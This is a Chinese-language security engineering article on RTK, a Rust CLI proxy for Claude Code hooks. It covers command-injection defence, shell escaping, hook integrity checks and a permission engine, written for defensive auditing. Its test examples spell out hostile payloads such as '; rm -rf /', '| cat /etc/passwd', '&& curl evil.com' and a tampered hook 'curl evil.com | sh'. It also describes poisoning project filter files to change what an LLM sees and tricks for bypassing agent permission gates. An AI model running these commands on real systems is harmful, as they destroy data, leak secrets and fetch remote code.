RTK 安全守护实战:RTK CLI 的命令注入防御、Shell 转义与 Hook 完整性校验
RTK 是一个"执行命令、解析不可信输出、并与 Claude Code 等 Agent Hook 深度集成"的 CLI 代理,这类定位天然放大了命令注入、Shell 转义与 Hook 劫持三类风险。本文基于 RTK 仓库中的安全守护技能文档 SKILL.md 完整展开其威胁模型、审计检查清单与事件响应流程,并结合 runner.rs、trust.rs、integrity.rs 等源码实现,说明每一项防护措施在 RTK 中的真实落点,帮助你在维护 CLI 代理类工具时建立一套可复制的安全审计方法论。
一、触发时机与 RTK 的安全威胁模型
安全守护技能文档定义了明确的触发时机,这是把安全审计嵌入开发流程而非事后补课的关键:
- 自动触发:filter 变更、Shell 命令执行逻辑变更、Hook 修改之后;
- 手动调用:发版前、任何安全敏感代码变更之后;
- 主动触发:处理用户输入、执行 Shell 命令、解析不可信输出时。
RTK 面临的独特安全挑战源于它的四种行为:
- 基于用户输入执行 Shell 命令;
- 解析不可信的命令输出(git、cargo、gh 等工具的原始输出);
- 与 Claude Code 的 Hook 集成(如 rtk-rewrite.sh);
- 透明路由命令(本身就是命令注入的攻击面)。
文档给出的威胁分类如下:
| 威胁 | 严重级别 | 影响 | 缓解措施 |
|---|---|---|---|
| 命令注入(Command Injection) | 🔴 CRITICAL | 远程代码执行 | 输入校验、Shell 转义 |
| Shell 转义(Shell Escaping) | 🔴 CRITICAL | 任意命令执行 | 平台相关转义 |
| Hook 注入(Hook Injection) | 🟡 HIGH | Hook 劫持、命令拦截 | 权限检查、签名校验 |
| 恶意输出(Malicious Output) | 🟡 MEDIUM | RTK 崩溃、DoS | 健壮解析、错误处理 |
| 路径穿越(Path Traversal) | 🟢 LOW | 访问 filters/ 之外的文件 | 路径净化 |
威胁识别的四组问题清单
文档要求对每次代码变更回答四组问题,这实际上构成了一份结构化审计问卷:
输入校验:
- 这段代码是否接受用户输入?
- 输入在使用前是否被校验?
- 特殊字符(;、|、&、$、`、\ 等)是否会造成问题?
Shell 执行:
- 这段代码是否执行 Shell 命令?
- 命令参数是否正确转义?
- 使用的是 std::process::Command(安全)还是 shell=true(危险)?
输出解析:
- 这段代码是否解析外部命令输出?
- 畸形输出是否会导致 panic 或崩溃?
- 正则模式是否经过恶意输入测试?
Hook 集成:
- 这段代码是否修改 Hook?
- 是否校验了 Hook 权限(可执行位)?
- 是否校验了 Hook 源码完整性?
二、代码审计模式:四类漏洞的识别与修复
文档给出了四类典型漏洞的"危险写法 vs 安全写法"对照,逐一拆解并给出源码级印证。
2.1 命令注入检测
危险写法是用 format! 拼接字符串再交给 sh -c 解释:
// 🔴 危险:Shell 注入漏洞
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // 危险!
std::process::Command::new("sh")
.arg("-c")
.arg(&cmd) // 攻击者可注入:`; rm -rf /`
.spawn();
安全写法是使用 Command 构建器,参数由进程 API 直接传递、不经过 Shell 解释:
// ✅ 安全:使用 Command 构建器,而非 shell 字符串
let user_input = env::args().nth(1).unwrap();
Command::new("git")
.arg("log")
.arg(&user_input) // 作为独立参数安全传递,不被 shell 解释
.spawn();
这一点在 RTK 的核心执行骨架中得到了印证:runner.rs 中的 run() / run_filtered() / run_streamed() 全部接收 std::process::Command 对象,参数通过 cmd.args(args) 传入,透传路径 run_passthrough() 同样是 cmd.args(args)(见 runner.rs 第 256-270 行)。整条执行链路中没有 sh -c + 用户输入的拼接路径,与文档"永远使用 Command builder"的要求一致。
2.2 Shell 转义漏洞
危险写法是把参数用 join(" ") 拼成完整命令字符串再交给 Shell:
// 🔴 危险:特殊字符未转义
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
let full_cmd = format!("{} {}", cmd, args.join(" "));
Command::new("sh").arg("-c").arg(&full_cmd) // 危险:args 未转义
.output()
}
// ✅ 安全:使用 Command 构建器,由进程 API 处理转义
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
Command::new(cmd).args(args).output()
}
文档同时建议:若确实需要手写转义,应使用专门的转义库(如 shell-escape crate)而不是自行实现,并按平台区分策略:
#[cfg(target_os = "windows")]
fn escape_for_shell(arg: &str) -> String {
// PowerShell 转义
format!("\"{}\"", arg.replace('"', "`\""))
}
#[cfg(not(target_os = "windows"))]
fn escape_for_shell(arg: &str) -> String {
// Bash/zsh 转义
shell_escape::escape(arg.into()).into()
}
需要说明:RTK 当前的 Cargo.toml 依赖列表中并未引入 shell-escape——这是因为 RTK 主路径上根本不需要手写转义(全部走 Command 构建器),该建议属于文档给出的通用纵深防御实践。
2.3 恶意输出处理:禁止因解析外部输出而 panic
这是 RTK 作为"输出过滤器"最核心的攻击面——git、cargo 等的输出完全不可信。文档示例:
// 🔴 危险:意外输出直接 panic
fn filter_git_log(input: &str) -> String {
let first_line = input.lines().next().unwrap(); // 空输入会 panic!
let hash = &first_line[7..47]; // 行太短会 panic!
hash.to_string()
}
// ✅ 安全:优雅的错误处理
fn filter_git_log(input: &str) -> Result<String> {
let first_line = input.lines().next()
.ok_or_else(|| anyhow::anyhow!("Empty input"))?;
if first_line.len() < 47 {
bail!("Invalid git log format");
}
Ok(first_line[7..47].to_string())
}
RTK 在此之上还有一层输出安全网:guard.rs 实现了 never_worse() 函数——当过滤后的输出 token 数反而大于原始输出时,直接回退输出原始内容,保证"RTK 永远不会让 token 变多"(该行为由 guard.rs 第 16-55 行 的单元测试覆盖,包括空输入、等长、边界等情形)。配合 runner.rs 中 skip_filter_on_failure 选项(命令失败时直接透传原始 stdout/stderr),构成"解析异常时降级透传"而不是崩溃的防御模型。
2.4 Hook 注入防御
文档指出的危险模式是 Hook 脚本对环境变量直接 eval:
# 🔴 危险:Hook 不校验来源
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # 危险!
安全模式是:校验运行上下文、校验依赖存在、使用绝对路径执行以避免 PATH 劫持。文档给出的完整检查清单脚本:
#!/bin/bash
# rtk-rewrite.sh
# 1. 校验 Claude Code 上下文
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
exit 1
fi
# 2. 校验 RTK 二进制的存在
if ! command -v rtk >/dev/null 2>&1; then
exit 1
fi
# 3. 使用绝对路径(防 PATH 劫持)
RTK_BIN=$(which rtk)
# 4. 校验 RTK 版本(防降级攻击)
if ! "$RTK_BIN" --version | grep -q "rtk 0.16"; then
echo "Warning: RTK version mismatch"
fi
# 5. 以显式路径执行
"$RTK_BIN" "$@"
仓库中的真实 Hook 脚本 rtk-rewrite.sh 印证并强化了这套思路:开头即做"依赖缺失则静默跳过"守卫(rtk 或 jq 不存在时直接 exit 0)、对 heredoc 提前退出、用 jq --arg 参数化构造 JSON 而非字符串拼接,并且所有命令映射与权限判断都委托给 rtk rewrite 单一事实来源,脚本本身不含任何 eval/source。脚本头部注释定义了 rtk rewrite 的退出码协议:0=自动放行、1=无等价命令透传、2=命中 deny 规则、3=命中 ask 规则需用户确认——这与后文源码中的 PermissionVerdict 枚举一一对应。
三、安全测试:注入与恶意输出的验证方法
文档给出了可直接落地的测试用例设计,核心思想是"输入必须被当作字面量,或安全报错——绝不能被执行"。
3.1 命令注入测试
#[cfg(test)]
mod security_tests {
#[test]
fn test_command_injection_defense() {
let malicious_inputs = vec![
"; rm -rf /",
"| cat /etc/passwd",
"$(whoami)",
"`id`",
"&& curl evil.com",
];
for input in malicious_inputs {
let result = execute_command("git", &["log", input]);
// 可接受结果二选一:
// 1. 返回错误(命令安全地失败)
// 2. 将输入当作字面字符串(无 shell 解释)
// 唯一不可接受:注入被执行!
}
}
#[test]
fn test_shell_escaping() {
let special_chars = vec![
";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
];
for char in special_chars {
let arg = format!("test{}value", char);
let escaped = escape_for_shell(&arg);
assert!(!escaped.contains(char) || escaped.contains('\\'));
}
}
}
3.2 恶意输出测试
针对可能打崩 RTK 的畸形输出(空串、纯换行、1MB 填充、二进制数据、Unicode 替换字符),断言"要么返回 Ok 的过滤结果,要么优雅返回 Err——绝不允许 panic":
#[test]
fn test_malicious_output_handling() {
let malicious_outputs = vec![
"", // 空
"\n\n\n", // 仅换行
"x".repeat(1_000_000), // 1MB 'x'(内存耗尽)
"\x00\x01\x02", // 二进制数据
"\u{FFFD}".repeat(1000), // Unicode 替换字符
];
for output in malicious_outputs {
let result = filter_git_log(&output);
assert!(result.is_ok() || result.is_err()); // 绝不 panic
}
}
RTK 的测试基础设施与这种思路一致:仓库顶层 tests/ 目录包含 guard_integration_test.rs、search_error_test.rs、search_compress_test.rs 等集成测试,专门验证过滤层在异常输入下的行为;而 integrity.rs 内嵌的测试直接构造"被篡改的 Hook"(把 Hook 内容改成 curl evil.com | sh)验证 Tampered 状态被正确检出。
四、漏洞清单(Checklist)与自动化检测命令
4.1 命令注入(🔴 Critical)
- 禁用 shell=true:永远不用用户输入配合
.arg("-c") - 使用 Command builder:走
std::process::CommandAPI 而非 Shell 字符串 - 输入校验:执行前校验/净化输入
- 白名单优先:只允许已知安全的命令
检测命令:
# 定位危险的 shell 执行
rg "\.arg\(\"-c\"\)" --type rust src/
rg "std::process::Command::new\(\"sh\"\)" --type rust src/
rg "format!.*\{.*Command" --type rust src/
4.2 Shell 转义(🔴 Critical)
- 跨平台:在 macOS、Linux、Windows 上分别测试转义
- 特殊字符:覆盖
;、|、&、$、`、\、"、'、\n - 使用专用转义库:不要自己实现
- 跨平台测试:用
#[cfg(target_os = "...")]组织
检测命令:
rg "format!.*\{.*args" --type rust src/
rg "\.join\(\" \"\)" --type rust src/
4.3 Hook 安全(🟡 High)
- 权限检查:确认 Hook 可执行(
-rwxr-xr-x) - 来源校验:只执行受信位置的 Hook
- 环境校验:检查运行上下文环境变量
- 禁止动态求值:不得
eval/source不可信文件
RTK 的实际实现比清单走得更远,形成"信任前校验"(trust-before-load)模型,值得作为 Hook 类安全机制的参考实现:
(1)Hook 完整性校验——integrity.rs 在安装时把 Hook 脚本的 SHA-256 写入旁边的 .rtk-hook.sha256 文件(格式兼容 sha256sum -c,权限设为只读 0444 作为"绊索"),运行时 runtime_check() 在每次执行前比对哈希:Verified/NotInstalled 静默通过,Tampered 时向 stderr 报错并 exit(1) 拒绝执行,且不提供环境变量旁路(官方修复路径是重新 rtk init -g --auto-patch 重建基线)。该设计在源码注释中明确指向历史安全公告 SA-2025-RTK-001——因为 Hook 拥有 permissionDecision: "allow" 的自动放行能力,任何未授权修改都等价于命令注入向量。rtk verify 子命令则面向人工审计,额外报告数据目录的 0700 属主独占权限检查。
(2)项目级过滤器的信任模型——trust.rs 处理的是另一类"投毒"攻击:.rtk/filters.toml 从当前工作目录以最高优先级加载,攻击者可以把它提交到公开仓库,用 replace/match_output 原语改写 LLM 看到的输出(隐藏恶意代码、压制扫描器告警)。该模块实现:未受信过滤器直接跳过而非"加载并警告";rtk trust 在用户审查后存储 SHA-256 哈希;内容变更使信任失效(ContentChanged 状态,需重新审查);RTK_TRUST_PROJECT_FILTERS=1 仅在检测到 CI 环境变量(CI/GITHUB_ACTIONS/GITLAB_CI/JENKINS_URL/BUILDKITE)时才覆盖信任检查——本地设置该变量会被显式忽略,源码注释说明这是为防止 .envrc 注入。所有错误路径都 fail-secure(返回 Untrusted)。
(3)权限判定引擎——permissions.rs 实现了文档"Permission checks"要求的判定逻辑:从 Claude Code / Cursor / Gemini / Droid 的 settings 文件加载 deny/ask/allow 规则,优先级为 Deny > Ask > Allow > Default(ask),与宿主的"最小权限默认"对齐。两个关键强化点值得注意:
- 复合命令按
&&、;、|、||等切分为 segment,每个非空 segment 必须独立命中 allow 规则整个链才允许自动放行(针对 issue #1213 的回归测试:git status && git add .中仅前者被允许时,整体降级为 Default 而非 Allow); contains_unattestable_construct(lexer.rs)检测变量替换、文件重定向等不可静态证明的构造,命中则直接返回 Ask——"无法分解的构造,绝不自动放行"。
配套的测试覆盖了换行隐藏命令(git status\nrm -rf ~)、后台隐藏命令、引号内 && 不误切分、|& 管道段检查等绕过手法,可作为权限门控类实现的测试模板。
4.4 恶意输出(🟡 Medium)
- 禁用 .unwrap():解析路径使用
Result与优雅错误 - 边界检查:切片前校验字符串长度
- 正则超时:防 ReDoS(正则拒绝服务)
- 内存上限:解析前限制输出大小
文档给出的安全解析模式(限大小 → 验格式 → 边界检查 → 安全提取):
fn safe_parse(output: &str) -> Result<String> {
// 1. 输出大小检查(防内存耗尽)
if output.len() > 10_000_000 {
bail!("Output too large (>10MB)");
}
// 2. 格式校验(防畸形输入)
if !output.starts_with("commit ") {
bail!("Invalid git log format");
}
// 3. 边界检查(防 panic)
let first_line = output.lines().next()
.ok_or_else(|| anyhow::anyhow!("Empty output"))?;
if first_line.len() < 47 {
bail!("Commit hash too short");
}
// 4. 安全提取
Ok(first_line[7..47].to_string())
}
4.5 安全审计命令速查
文档汇总的 rg 检测命令覆盖五类问题,可作为 CI 或人工审计脚本直接使用:
# 命令注入
rg "\.arg\(\"-c\"\)" --type rust src/
rg "format!.*Command" --type rust src/
# Shell 转义
rg "\.join\(\" \"\)" --type rust src/
rg "format!.*\{.*args" --type rust src/
# 不安全的 unwrap(恶意输入可能引发 panic)
rg "\.unwrap\(\)" --type rust src/
# 边界越界
rg "\[.*\.\.\.\]" --type rust src/
rg "\[.*\.\.]" --type rust src/
# Hook 安全
rg "eval|source" --type bash .claude/hooks/
五、安全最佳实践:白名单、转义与命令执行
5.1 输入校验:白名单优于黑名单
fn validate_command(cmd: &str) -> Result<()> {
// ✅ 安全:白名单已知安全命令
const ALLOWED_COMMANDS: &[&str] = &[
"git", "cargo", "gh", "pnpm", "docker",
"rustc", "clippy", "rustfmt",
];
if !ALLOWED_COMMANDS.contains(&cmd) {
bail!("Command '{}' not allowed", cmd);
}
Ok(())
}
// ❌ 不安全:黑名单极易被绕过
// 攻击者可以用 /bin/rm、rm.exe、RM(大小写变体)等绕过
5.2 Shell 转义:使用经过实战检验的库
use shell_escape::escape;
fn escape_arg(arg: &str) -> String {
escape(arg.into()).into() // 使用成熟转义库
}
// ❌ 不安全:自行实现(必然有漏网的特殊字符)
fn escape_arg_unsafe(arg: &str) -> String {
arg.replace('"', r#"\""#) // 漏掉大量特殊字符!
}
5.3 安全命令执行:永远用 Command builder
// ✅ 安全:Command builder(无 shell)
fn execute_git(args: &[&str]) -> Result<Output> {
Command::new("git")
.args(args) // 安全转义
.output()
.context("Failed to execute git")
}
// ❌ 不安全:shell 字符串拼接
fn execute_git_unsafe(args: &[&str]) -> Result<Output> {
let cmd = format!("git {}", args.join(" "));
Command::new("sh").arg("-c").arg(&cmd) // shell 会解释 args!
.output()
}
RTK 在工程层面还叠加了两条全局约束(见 Cargo.toml 的 [lints.rust] 段):unsafe_code = "deny" 全局禁用 unsafe 代码、warnings = "deny" 把编译警告升级为错误——这与文档"Unsafe code detection / 静态分析"的工具链建议形成互补。
六、事件响应流程与工具链
6.1 漏洞发现后的五步响应
- 评估严重性:使用 CVSS 评分(Critical/High/Medium/Low)
- 开发补丁:在隔离分支中修复
- 测试修复:用安全测试 + 集成测试验证
- 发布热修复:PATCH 版本号递增(示例:v0.16.0 → v0.16.1)
- 负责任披露:Security Advisory,适用时申请 CVE
文档附带了公告模板(Severity / Affected versions / Fixed in / Description / Impact / Mitigation / Credits 七个字段)。需要说明:模板中的 v0.16.x 版本号是示例占位,当前仓库 Cargo.toml 实际版本为 0.42.4;而 integrity.rs 头部注释引用的 SA-2025-RTK-001(Finding F-01)则是真实发生过的 Hook 篡改检测机制的由来,印证了这套响应流程在 RTK 中已被实际执行过。
6.2 安全工具链
| 工具 | 用途 |
|---|---|
cargo audit |
依赖漏洞扫描 |
cargo-geiger |
unsafe 代码检测 |
cargo-deny |
依赖策略执行 |
semgrep |
安全模式静态分析 |
运行方式:
cargo install cargo-audit && cargo audit # 依赖漏洞
cargo install cargo-geiger && cargo geiger # unsafe 代码检测
cargo install semgrep && semgrep --config auto # 静态分析
七、小结:从文档到源码的安全防线映射
把 SKILL.md 的每一项要求与 RTK 的实际实现对照,可以看到一条完整的映射链:
| 文档要求 | 源码落点 |
|---|---|
使用 Command builder,禁用 sh -c 拼接 |
src/core/runner.rs 全链路 Command::args |
| 解析不可信输出不得 panic | src/core/guard.rs never_worse 回退 + 失败透传 |
| Hook 权限/完整性校验 | src/hooks/integrity.rs SHA-256 基线 + 运行时门禁 |
| 项目级过滤器投毒防御 | src/hooks/trust.rs trust-before-load 模型 |
| 权限检查(Deny>Ask>Allow) | src/hooks/permissions.rs 分段独立匹配 |
| Hook 脚本无 eval、参数化构造 | .claude/hooks/rtk-rewrite.sh jq --arg + 退出码协议 |
| 全局工程约束 | Cargo.toml unsafe_code = "deny" |
对维护同类 CLI 代理工具的开发者,这套方法论的核心可归纳为三点:执行面用进程 API 隔离 Shell 解释、数据面把外部输出全部当作不可信输入做 fail-secure 解析、集成面用哈希基线与分段权限判定守住 Agent Hook 这条"自动放行"通道。文档提供的 rg 检测命令与注入测试模板,可以作为 CI 中常态化运行的最小安全门禁。
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0623
Hy4-previewHy4 preview 是由腾讯混元团队研发的新一代混合专家(MoE)旗舰模型。模型总参数量 770B,每个 token 激活 49B,主干共包含78层,第一层采用标准 FFN,其余 77 层均为 MoE 结构,每层包含 256 个路由专家与 1 个共享专家,每个 token 激活 top-8 路由专家及共享专家。主干之外原生内置 1 层 MTP(总参数量 10B,激活 0.7B)以支持投机解码。Python00
GLM-5.3GLM-5.3 与 GLM-5.2 使用相同的基座模型——所有提升均来自后训练。与 GLM-5.2 相比,它在复杂编程和长程任务上的表现显著提升。Jinja00
GLM-5.3-FlashGLM-5.3-Flash (320B-A18B),是GLM-5系列的首个原生多模态模型。320B总参数,能力超过GLM-5.2Jinja00
Spark-X2.5-4BSpark-X2.5-4B 旨在让强大的 AI 更实用、更高效、更易获得。在广泛日常任务中表现强劲,涵盖对话、写作、翻译、推理、编码、工具调用以及智能体工作流,并在同等规模的开源模型中取得领先成绩。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00
Spark-X2.5-1.7BSpark-X2.5-1.7B 旨在让强大的 AI 更加实用、高效且易于获取。这些模型在广泛的日常任务中表现出色,涵盖对话、写作、翻译、推理、编程、工具调用和智能体工作流,并在同等规模的开源模型中取得领先结果。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00